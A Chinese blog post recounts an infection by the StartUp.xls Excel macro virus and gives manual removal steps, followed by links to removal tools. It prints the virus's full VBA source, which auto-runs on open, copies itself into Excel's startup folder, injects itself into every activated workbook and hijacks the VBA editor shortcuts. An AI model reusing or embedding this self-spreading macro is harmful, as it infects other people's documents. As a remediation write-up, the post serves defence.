`

遭遇StartUp.xls宏病毒

阅读更多

今天一个朋友让我帮忙看一个问题,说是Excel文件一打开再保存就提示“此文档中包含宏、ActiveX 控件、XML 扩展包信息或Web组件。他们中可能含个人作息,这些作息无法能过设置“工具”菜单下“选项”对话框“安全性”选项卡中的“保存时从文件属性中删除个人作息”来删除”。当时只是以为设置的问题,后来查了好几小时才发现原来是中了个宏病毒,名字是:StartUp.xls,中间定位病毒的过程也比较曲折(主要是自己学艺不精)。

病毒样本如下:

Sub auto_open()
    On Error Resume Next
    If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
        Application.ScreenUpdating = False
        ThisWorkbook.Sheets("StartUp").Copy
        ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls")
        n$ = ActiveWorkbook.Name
        ActiveWindow.Visible = False
        Workbooks("StartUp.xls").Save
        Workbooks(n$).Close (False)
    End If
    Application.OnSheetActivate = "StartUp.xls!cop"
    Application.OnKey "%{F11}", "StartUp.xls!escape"
    Application.OnKey "%{F8}", "StartUp.xls!escape"
End Sub
Sub cop()
    On Error Resume Next
    If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
        Application.ScreenUpdating = False
        n$ = ActiveSheet.Name
        Workbooks("StartUp.xls").Sheets("StartUp").Copy before:=Worksheets(1)
        Sheets(n$).Select
    End If
End Sub
Sub back()
    On Error Resume Next
    Application.OnKey "%{F8}", "StartUp.xls!escape"
    Application.OnKey "%{F11}", "StartUp.xls!escape"
    Application.OnSheetActivate = "StartUp.xls!cop"
    Application.OnTime Now + TimeValue("00:00:01"), "StartUp.xls!cop"
    Workbooks.Open Application.StartupPath & "\StartUp.xls"
End Sub

Sub escape()
    On Error Resume Next
    Application.OnSheetActivate = "StartUp.xls!back"
    Application.OnKey "%{F11}"
    Application.OnKey "%{F8}"
    Application.SendKeys "%{F11}"
    Application.SendKeys "%{F8}"
    For Each book In Workbooks
        Application.DisplayAlerts = False
        If book "StartUp.xls" Then book.Sheets("StartUp").Delete
    Next
    For Each book In Workbooks
        If book.Name = "StartUp.xls" Then
            book.Close
        End If
    Next
End Sub

 

通过参考网上一些资料,采取以下的方法处理,可以清除病毒并使感染文件在修改保存后也清除病毒(网上有人说用360或卡巴直接杀会导致文件打不开,没有试验,不知是真是假):

一、删除

C:\Documents and Settings\Administrator\Application Data\Microsoft\Excel\Excel11.xls

,该文件删除后,Excel会自动重建的;

 

二、删除

C:\Documents and Settings\Administrator\Application Data\Microsoft\Excel\XLSTART\StartUp.xls

 

三、新建一个空的StartUp.xls,然后录制宏(随便录,只是为了能打开VBA编辑器);

 

四、从“工具->宏->宏”里面,选择刚才录制的宏,选择“编辑”,把全部内容都选中,把用下列内容替换:

Sub auto_open()
    On Error Resume Next
    Application.ScreenUpdating = False
    ActiveWindow.Visible = False
    n$ = ActiveWorkbook.Name
    Workbooks(n$).Close (False)
    Application.OnSheetActivate = "StartUp.xls!cop"
End Sub
Sub cop()
    On Error Resume Next
    Dim VBC As Object
    Dim Name As String
    'Dim delComponent As VBComponent 网上有人贴的代码里有这句,经实测,这句会导致编译错误。VBA中没有VBComponent对象
    Name = "StartUp"
    For Each book In Workbooks
        Set delComponent = book.VBAProject.VBComponents(Name)
        book.VBAProject.VBComponents.Remove delComponent
    Next
End Sub

 五、保存,然后再打开染毒文档,修改保存一下就可以清除掉感染的病毒。

分享到:
评论

相关推荐

    StartUp.xls宏病毒专杀

    近来StartUp.xls宏病毒导致很多EXCEL用户怨声载道,此专杀工具可以将其杀之,StartUp.xls宏病毒是通过EXCEL文件传播,如果您的EXCEL的宏安全保护设置过低,打开带病毒的EXCEL文件将会中毒,中毒后不管是打开还是新建...

    清除宏病毒(StartUp.xls).pdf

    ### 清除宏病毒(StartUp.xls):详解与步骤 #### 一、宏病毒简介 宏病毒是一种利用Microsoft Office等应用程序中的宏功能来传播的恶意软件。它们通常隐藏在文档或工作簿中,当用户打开这些文件时,宏会自动执行,...

    StartUp.xls 专杀&免疫工具

    StartUp.xls 宏病毒专杀&免疫工具

    StartUp.xls 查杀Excel宏病毒

    Excel中了宏病毒之后以下方法可以使用可以试试屡试不爽。 怎样查杀Excel宏病毒“Starup”、“results”,看看这个也许给我答案

    打开EXCEL时无法找到startup.xls文件的解决方法.docx

    StartUp.xls宏病毒通常通过电子邮件附件、不安全的下载链接或者被感染的U盘传播。 解决这个问题的步骤包括: 1. 清除宏病毒文件: 首先,你需要找到可能被病毒感染的文件。在计算机中搜索“xlstart”文件夹,通常...

    excel宏病毒专杀方法

    Excel 宏病毒专杀方法 Excel 宏病毒是一种非常危险的病毒,它可以感染 Excel 文档,使其变得不可读或不可用。通常情况下,Excel 宏病毒会在打开 Excel 文档时自动运行,导致文档变得不可读或不可用。那么,如何清除...

    StartUp宏病毒专杀(永久使用)

    本工具用于专杀Excel的StartUp宏病毒。运行前提:1、把安全性设为低;2把“可靠运行商”的“信任对于Visual Basic项目的访问”勾上。 对前一版本(链接:http://download.csdn.net/detail/a10615/3966065)进行了...

    StartUp.xls excel表格宏病毒 专杀&免疫工具

    excel表格中由于宏安全性底中的StartUp病毒,出现BOOK1、不能保存、文件打开损坏等问题。

    最新EXCEL宏病毒 杀毒软件

    描述中提到的“Startup(潘1006.xls)”是一种特定的宏病毒变种,它会在启动时激活,导致反复感染。"1006(潘)"可能是该病毒的一个别名或者版本号。描述中还指出,这种病毒即使使用多种专门的杀毒工具也不能完全清除,...

    StartUp宏病毒专杀

    本工具用于专杀Excel的StartUp宏病毒。运行前提:1、把安全性设为低;2把“可靠运行商”的“信任对于Visual Basic项目的访问”勾上

    Excel startup 宏病毒专杀

    公司某些员工的Excel感染了Startup宏病毒, 杀毒软件查不出来. 手工清理很麻烦, 写了个专杀. 很粗糙的作品, 需要事先手工打开Excel"工具"=&gt;宏=&gt;"安全性"=&gt;"高", "可靠发行商"=&gt;"信任对于VB项目的访问" 因为要通过程序...

    startup宏病毒专杀防疫工具

    startup 宏病毒专杀防疫工具 1 、本工具在EXCEL2003,excel2007和excel2010版本均适用。 2 、使用方法: A、打开附件中"宏病毒免疫工具v1.0.xls"(打开时启用宏),点击"允许删除恶意代码"按钮,然后执行文件菜单...

    office_excel宏病毒专杀

    宏病毒专杀(CleanMacro)是毒霸资深反病毒工程师boom的业余作品,有需要的朋友可以下载使用~本专杀用于解决Book1、Startup、Results、Poppy、CopyMod、Blackice、Yugall等Office常见宏病毒。宏病毒杀不了怎么办,用...

    EXCEL宏病毒专杀工具

    描述中的问题表明用户可能遭遇了宏病毒的困扰,因为当他们尝试打开Excel时,没有出现预期的工作簿(例如"book1"),而是出现了病毒提示。这可能是由于病毒已经修改了Excel的启动配置,导致默认打开的不是用户期望的...

    表格病毒清除工具

    压缩包内的文件“清除StartUp宏病毒.xls”很可能是一个示例文件,或者是该病毒清除工具处理的对象。"StartUp"通常指的是Excel的启动文件夹,病毒可能会在其中放置宏,使得每次打开Excel时都会激活病毒。这种病毒会在...

    Excel弹出book1病毒的解决办法.docx

    Excel 弹出 book1 病毒是一种宏病毒,它会感染Excel 文件,并在打开 Excel 文件时自动弹出 book1.xls 文件。这种病毒会不断感染接下来本地所有打开过的 Excel 文件,并通过局域网内相互传文件最终感染很多同事的电脑...

Global site tag (gtag.js) - Google Analytics